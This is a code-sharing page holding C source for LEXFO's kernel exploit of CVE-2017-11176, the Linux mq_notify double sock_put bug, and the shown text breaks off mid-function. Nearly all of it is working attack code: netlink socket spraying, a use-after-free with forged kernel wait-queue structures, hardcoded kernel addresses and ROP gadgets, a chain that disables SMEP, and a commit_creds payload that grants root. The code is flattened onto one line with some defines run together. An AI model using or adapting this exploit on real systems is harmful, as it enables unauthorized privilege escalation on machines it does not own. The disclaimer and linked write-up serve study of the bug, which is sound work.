扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 |
/* * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018). * * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not * use it on a system without authorizations. * * WARNING: The exploit WILL NOT work on your target, it requires modifications! * * Compile with: * *gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit * * For a complete explanation / analysis, please read the following series: * * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html */ #define _GNU_SOURCE #include <asm/types.h> #include <mqueue.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <linux/netlink.h> #include <pthread.h> #include <errno.h> #include <stdbool.h> #include <sched.h> #include <stddef.h> #include <sys/mman.h> #include <stdint.h> // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ #define NOTIFY_COOKIE_LEN (32) #define SOL_NETLINK (270) // from [include/linux/socket.h] #define NB_REALLOC_THREADS 200 #define KMALLOC_TARGET 1024 #define MAX_SOCK_PID_SPRAY 300 #define MAGIC_NL_PID 0x11a5dcee #define MAGIC_NL_GROUPS 0x0 // ---------------------------------------------------------------------------- // avoid library wrappers #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp) #define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset) #define _munmap(addr, length) syscall(_NR_munmap, addr, length) #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol) #define _setsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen) #define _getsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen) #define _dup(oldfd) syscall(__NR_dup, oldfd) #define _close(fd) syscall(__NR_close, fd) #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags) #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen) #define _getpid() syscall(__NR_getpid) #define _gettid() syscall(__NR_gettid) #define _sched_setaffinity(pid, cpusetsize, mask) \ syscall(__NR_sched_setaffinity, pid, cpusetsize, mask) #define _open(pathname, flags) syscall(__NR_open, pathname, flags) #define _read(fd, buf, count) syscall(__NR_read, fd, buf, count) #define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen) #define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen) #define _sched_yield() syscall(__NR_sched_yield) #define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence) // ---------------------------------------------------------------------------- #define PRESS_KEY() \ do { printf("[ ] press key to continue...\n"); getchar(); } while(0) #define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)])) // ---------------------------------------------------------------------------- // target specific offset #define NLK_PID_OFFSET0x288 #define NLK_GROUPS_OFFSET 0x2a0 #define NLK_WAIT_OFFSET 0x2b0 #define WQ_HEAD_TASK_LIST_OFFSET0x8 #define WQ_ELMT_FUNC_OFFSET 0x10 #define WQ_ELMT_TASK_LIST_OFFSET0x18 #define TASK_STRUCT_FILES_OFFSET0x770 #define FILES_STRUCT_FDT_OFFSET 0x8 #define FDT_FD_OFFSET 0x8 #define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8 #define SOCKET_SK_OFFSET0x38 // kernel function symbols #define NL_PID_HASHFN ((void*) 0xffffffff814b6da0) #define NETLINK_TABLE_GRAB((void*) 0xffffffff814b7ea0) #define NETLINK_TABLE_UNGRAB((void*) 0xffffffff814b73e0) #define COMMIT_CREDS((void*) 0xffffffff810b8ee0) #define PREPARE_KERNEL_CRED ((void*) 0xffffffff810b90c0) #define NL_TABLE_ADDR ((void*) 0xffffffff824528c0) // gadgets in [_text; _etext] #define XCHG_EAX_ESP_ADDR ((uint64_t) 0xffffffff8107b6b8) #define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3) #define POP_RDI_ADDR((uint64_t) 0xffffffff8103b81d) #define MOV_RAX_RBP_ADDR((uint64_t) 0xffffffff813606d4) #define SHR_RAX_16_ADDR ((uint64_t) 0xffffffff810621ff) #define POP_RBP_ADDR((uint64_t) 0xffffffff811b97bf) #define MOV_RAX_CR4_LEAVE_ADDR((uint64_t) 0xffffffff81003009) #define MOV_CR4_RDI_LEAVE_ADDR((uint64_t) 0xffffffff8100328d) #define AND_RAX_RDX_ADDR((uint64_t) 0xffffffff8130c249) #define MOV_EDI_EAX_ADDR((uint64_t) 0xffffffff814f118b) #define MOV_EDX_EDI_ADDR((uint64_t) 0xffffffff8139ca54) #define POP_RCX_ADDR((uint64_t) 0xffffffff81004abc) #define JMP_RCX_ADDR((uint64_t) 0xffffffff8103357c) #define THREAD_SIZE (4096 << 2) // ---------------------------------------------------------------------------- struct realloc_thread_arg { pthread_t tid; int recv_fd; int send_fd; struct sockaddr_un addr; }; struct unblock_thread_arg { int sock_fd; int unblock_fd; bool is_ready; // we can use pthread barrier instead }; struct sock_pid { int sock_fd; uint32_t pid; }; // ---------------------------------------------------------------------------- struct hlist_node { struct hlist_node *next, **pprev; }; struct hlist_head { struct hlist_node *first; }; struct nl_pid_hash { struct hlist_head* table; uint64_t rehash_time; uint32_t mask; uint32_t shift; uint32_t entries; uint32_t max_shift; uint32_t rnd; }; struct netlink_table { struct nl_pid_hash hash; void* mc_list; void* listeners; uint32_t nl_nonroot; uint32_t groups; void* cb_mutex; void* module; uint32_t registered; }; struct list_head { struct list_head *next, *prev; }; struct wait_queue_head { int slock; struct list_head task_list; }; typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key); struct wait_queue { unsigned int flags; #define WQ_FLAG_EXCLUSIVE 0x01 void *private; wait_queue_func_t func; struct list_head task_list; }; struct socket { char pad[SOCKET_SK_OFFSET]; void *sk; }; struct file { char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET]; void *private_data; }; struct fdtable { char pad[FDT_FD_OFFSET]; struct file **fd; }; struct files_struct { char pad[FILES_STRUCT_FDT_OFFSET]; struct fdtable *fdt; }; struct task_struct { char pad[TASK_STRUCT_FILES_OFFSET]; struct files_struct *files; }; struct thread_info { struct task_struct *task; char pad[0]; }; // ---------------------------------------------------------------------------- typedef void (*netlink_table_grab_func)(void); typedef void (*netlink_table_ungrab_func)(void); typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid); typedef int (*commit_creds_func)(void *new); typedef void* (*prepare_kernel_cred_func)(void *daemon); #define netlink_table_grab() \ (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))()) #define netlink_table_ungrab() \ (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))()) #define nl_pid_hashfn(hash, pid) \ (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid)) #define commit_creds(cred) \ (((commit_creds_func)(COMMIT_CREDS))(cred)) #define prepare_kernel_cred(daemon) \ (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon)) // ---------------------------------------------------------------------------- static volatile size_t g_nb_realloc_thread_ready = 0; static volatile size_t g_realloc_now = 0; static volatile char g_realloc_data[KMALLOC_TARGET]; static volatile struct list_headg_fake_next_elt; static volatile struct wait_queue *g_uland_wq_elt; static volatile char *g_fake_stack; static volatile uint64_t saved_esp; static volatile uint64_t saved_rbp_lo; static volatile uint64_t saved_rbp_hi; static volatile uint64_t restored_rbp; static volatile uint64_t restored_rsp; static struct sock_pid g_target; static struct sock_pid g_guard; static int unblock_fd = 1; // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ #define get_thread_info(thread_stack_ptr) \ ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1))) #define get_current(thread_stack_ptr) \ ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task)) static void payload(void) { struct task_struct *current = get_current(restored_rsp); struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data; void *sk; sk = sock->sk; // keep it for list walking sock->sk = NULL; // fix the 'sk' dangling pointer // lock all hash tables netlink_table_grab(); // retrieve NETLINK_USERSOCK's hash table struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it! struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash); // retrieve the bucket list struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); // walk the bucket list struct hlist_node *cur; struct hlist_node **pprev = &bucket->first; for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next) { // is this our target ? if (cur == (struct hlist_node*)sk) { // fix the 'next' and 'pprev' field if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation) cur->next = NULL; // first scenario: was the last element in the list cur->pprev = pprev; // __hlist_del() operation (dangling pointers fix up) *(cur->pprev) = cur->next; if (cur->next) cur->next->pprev = pprev; hash->entries--; // make it clean // stop walking break; } } // release the lock netlink_table_ungrab(); // privilege (de-)escalation commit_creds(prepare_kernel_cred(NULL)); } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ /* * Migrates the current thread to CPU#0. * * Returns 0 on success, -1 on error. */ static int migrate_to_cpu0(void) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1) { perror("[-] sched_setaffinity"); return -1; } return 0; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ /* * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid. * Argument @sp must not be NULL. * * Returns 0 on success, -1 on error. */ static int create_netlink_candidate(struct sock_pid *sp) { struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = 0, // zero to use netlink_autobind() .nl_groups = 0 // no groups }; size_t addr_len = sizeof(addr); if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1) { perror("[-] socket"); goto fail; } if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) { perror("[-] bind"); goto fail_close; } if (_getsockname(sp->sock_fd, &addr, &addr_len)) { perror("[-] getsockname"); goto fail_close; } sp->pid = addr.nl_pid; return 0; fail_close: close(sp->sock_fd); fail: sp->sock_fd = -1; sp->pid = -1; return -1; } // ---------------------------------------------------------------------------- /* * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the * @pids array. The total numbers of pids matched is stored in @nb_pids. * * A typical output looks like: * *$ cat /proc/net/netlink *sk Eth PidGroups Rmem Wmem Dump Locks Drops *ffff88001eb47800 0 000000000 00(null) 20 *ffff88001fa65800 6 000000000 00(null) 20 * * Every line is printed from netlink_seq_show(): * *seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n" * * Returns 0 on success, -1 on error. */ static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto) { int proc_fd; char buf[4096]; int ret; char *ptr; char *eol_token; size_t nb_bytes_read = 0; size_t tot_pids = 1024; *pids = NULL; *nb_pids = 0; if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL) { perror("[-] not enough memory"); goto fail; } memset(buf, 0, sizeof(buf)); if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0) { perror("[-] open"); goto fail; } read_next_block: if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0) { perror("[-] read"); goto fail_close; } else if (ret == 0) // no more line to read { goto parsing_complete; } ptr = buf; if (strstr(ptr, "sk") != NULL) // this is the first line { if ((eol_token = strstr(ptr, "\n")) == NULL) { // XXX: we don't handle this case, we can't even read one line... printf("[-] can't find end of first line\n"); goto fail_close; } nb_bytes_read += eol_token - ptr + 1; ptr = eol_token + 1; // skip the first line } parse_next_line: // this is a "normal" line if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete { if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1) { perror("[-] lseek"); goto fail_close; } goto read_next_block; } else { void *cur_addr; int cur_proto; int cur_pid; sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid); if (cur_proto == proto) { if (*nb_pids >= tot_pids) // current array is not big enough, make it grow { tot_pids *= 2; if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL) { printf("[-] not enough memory\n"); goto fail_close; } } *(*pids + *nb_pids) = cur_pid; *nb_pids = *nb_pids + 1; } nb_bytes_read += eol_token - ptr + 1; ptr = eol_token + 1; goto parse_next_line; } parsing_complete: close(proc_fd); return 0; fail_close: close(proc_fd); fail: if (*pids != NULL) free(*pids); *nb_pids = 0; return -1; } // ---------------------------------------------------------------------------- /* * Prepare multiple netlink sockets and search "adjacent" ones. Arguments * @target and @guard must not be NULL. * * Returns 0 on success, -1 on error. */ static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard) { struct sock_pid candidates[MAX_SOCK_PID_SPRAY]; int *pids = NULL; size_t nb_pids; int i, j; int nb_owned; int ret = -1; target->sock_fd = -1; guard->sock_fd = -1; // allocate a bunch of netlink sockets for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i) { if (create_netlink_candidate(&candidates[i])) { printf("[-] failed to create a new candidate\n"); goto release_candidates; } } printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY); if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK)) { printf("[-] failed to parse '/proc/net/netlink'\n"); goto release_pids; } printf("[+] parsing '/proc/net/netlink' complete\n"); // find two consecutives pid that we own (slow algorithm O(N*M)) i = nb_pids; while (--i > 0) { guard->pid = pids[i]; target->pid = pids[i - 1]; nb_owned = 0; // the list is not ordered by pid, so we do a full walking for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) { if (candidates[j].pid == guard->pid) { guard->sock_fd = candidates[j].sock_fd; nb_owned++; } else if (candidates[j].pid == target->pid) { target->sock_fd = candidates[j].sock_fd; nb_owned++; } if (nb_owned == 2) goto found; } // reset sock_fd to release them guard->sock_fd = -1; target->sock_fd = -1; } // we didn't found any valid candidates, release and quit goto release_pids; found: printf("[+] adjacent candidates found!\n"); ret = 0; // we succeed release_pids: i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release if (pids != NULL) free(pids); release_candidates: while (--i >= 0) { // do not release the target/guard sockets if ((candidates[i].sock_fd != target->sock_fd) && (candidates[i].sock_fd != guard->sock_fd)) { close(candidates[i].sock_fd); } } return ret; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ static void* unblock_thread(void *arg) { struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg; int val = 3535; // need to be different than zero // notify the main thread that the unblock thread has been created. It *must* // directly call mq_notify(). uta->is_ready = true; sleep(5); // gives some time for the main thread to block printf("[ ][unblock] closing %d fd\n", uta->sock_fd); _close(uta->sock_fd); printf("[ ][unblock] unblocking now\n"); if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) perror("[+] setsockopt"); return NULL; } // ---------------------------------------------------------------------------- static int decrease_sock_refcounter(int sock_fd, int unblock_fd) { pthread_t tid; struct sigevent sigev; struct unblock_thread_arg uta; char sival_buffer[NOTIFY_COOKIE_LEN]; // initialize the unblock thread arguments uta.sock_fd = sock_fd; uta.unblock_fd = unblock_fd; uta.is_ready = false; // initialize the sigevent structure memset(&sigev, 0, sizeof(sigev)); sigev.sigev_notify = SIGEV_THREAD; sigev.sigev_value.sival_ptr = sival_buffer; sigev.sigev_signo = uta.sock_fd; printf("[ ] creating unblock thread...\n"); if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) { perror("[-] pthread_create"); goto fail; } while (uta.is_ready == false) // spinlock until thread is created ; printf("[+] unblocking thread has been created!\n"); printf("[ ] get ready to block\n"); if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) { perror("[-] mq_notify"); goto fail; } printf("[+] mq_notify succeed\n"); return 0; fail: return -1; } // ---------------------------------------------------------------------------- static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard) { char buf[1024*10]; int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = target->pid, // use the target's pid .nl_groups = 0 // no groups }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr mhdr = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0, }; printf("[ ] preparing blocking netlink socket\n"); if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) perror("[-] setsockopt"); // no worry if it fails, it is just an optim. else printf("[+] receive buffer reduced\n"); printf("[ ] flooding socket\n"); while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } printf("[+] flood completed\n"); printf("[+] blocking socket ready\n"); return 0; fail: printf("[-] failed to prepare blocking socket\n"); return -1; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ // ROP-chains #define STORE_EAX(addr) \ *stack++ = POP_RDI_ADDR; \ *stack++ = (uint64_t)addr + 4; \ *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR; #define SAVE_ESP(addr) \ STORE_EAX(addr); #define SAVE_RBP(addr_lo, addr_hi) \ *stack++ = MOV_RAX_RBP_ADDR;\ STORE_EAX(addr_lo); \ *stack++ = SHR_RAX_16_ADDR; \ *stack++ = SHR_RAX_16_ADDR; \ STORE_EAX(addr_hi); #define CR4_TO_RAX() \ *stack++ = POP_RBP_ADDR; \ *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \ *stack++ = 0xdeadbeef;// dummy RBP value! #define RDI_TO_CR4() \ *stack++ = POP_RBP_ADDR; \ *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \ *stack++ = 0xdeadbeef;// dummy RBP value! #define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff #define DISABLE_SMEP() \ CR4_TO_RAX(); \ *stack++ = POP_RDI_ADDR; \ *stack++ = SMEP_MASK; \ *stack++ = MOV_EDX_EDI_ADDR; \ *stack++ = AND_RAX_RDX_ADDR; \ *stack++ = MOV_EDI_EAX_ADDR; \ RDI_TO_CR4(); #define JUMP_TO(addr) \ *stack++ = POP_RCX_ADDR; \ *stack++ = (uint64_t) addr; \ *stack++ = JMP_RCX_ADDR; // ---------------------------------------------------------------------------- extern void userland_entry(void); // make GCC happy static __attribute__((unused)) void wrapper(void) { // avoid the prologue __asm__ volatile( "userland_entry:" :: ); // reconstruct original rbp/rsp restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo); restored_rsp = ((saved_rbp_hi << 32) | saved_esp); __asm__ volatile( "movq %0, %%rax\n" "movq %%rax, %%rbp\n" :: "m"(restored_rbp)); __asm__ volatile( "movq %0, %%rax\n" "movq %%rax, %%rsp\n" :: "m"(restored_rsp)); uint64_t ptr = (uint64_t) &payload; __asm__ volatile( "movq %0, %%rax\n" "call *%%rax\n" :: "m"(ptr) ); // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register) __asm__ volatile( "movq $5555, %%rax\n" :: ); // avoid the epilogue and the "leave" instruction __asm__ volatile( "ret" :: ); } // ---------------------------------------------------------------------------- static void build_rop_chain(uint64_t *stack) { memset((void*)stack, 0xaa, 4096); SAVE_ESP(&saved_esp); SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi); DISABLE_SMEP(); JUMP_TO(&userland_entry); } // ---------------------------------------------------------------------------- static int allocate_uland_structs(void) { // arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps) void *starting_addr = (void*) 0x20000000; size_t max_try = 10; retry: if (max_try-- <= 0) { printf("[-] failed to allocate structures at fixed location\n"); return -1; } starting_addr += 4096; g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); if (g_fake_stack == MAP_FAILED) { perror("[-] mmap"); goto retry; } g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); if (g_uland_wq_elt == MAP_FAILED) { perror("[-] mmap"); munmap((void*)g_fake_stack, 4096); goto retry; } // paranoid check if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000)) { munmap((void*)g_fake_stack, 4096); munmap((void*)g_uland_wq_elt, 4096); goto retry; } printf("[+] userland structures allocated:\n"); printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt); printf("[+] g_fake_stack = %p\n", g_fake_stack); return 0; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ static bool can_use_realloc_gadget(void) { int fd; int ret; bool usable = false; char buf[32]; if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0) { perror("[-] open"); // TODO: fallback to sysctl syscall return false; // we can't conclude, try it anyway or not ? } memset(buf, 0, sizeof(buf)); if ((ret = _read(fd, buf, sizeof(buf))) <= 0) { perror("[-] read"); goto out; } printf("[ ] optmem_max = %s", buf); if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache usable = true; out: _close(fd); return usable; } // ---------------------------------------------------------------------------- static int init_realloc_data(void) { struct cmsghdr *first; int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET]; void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET]; struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET]; memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data)); // necessary to pass checks in __scm_send() first = (struct cmsghdr*) &g_realloc_data; first->cmsg_len = sizeof(g_realloc_data); first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg first->cmsg_type = 1; // <---- ARBITRARY VALUE // used by reallocation checker *pid = MAGIC_NL_PID; *groups = MAGIC_NL_GROUPS; // the first element in nlk's wait queue is our userland element (task_list field!) BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET); nlk_wait->slock = 0; nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list; nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list; // initialise the "fake" second element (because of list_for_each_entry_safe()) g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself // initialise the userland wait queue element BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET); BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET); g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call g_uland_wq_elt->private = NULL; // unused g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call! g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt; g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt; printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func); return 0; } // ---------------------------------------------------------------------------- static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups) { struct sockaddr_nl addr; size_t addr_len = sizeof(addr); memset(&addr, 0, sizeof(addr)); // this will invoke "netlink_getname()" (uncontrolled read) if 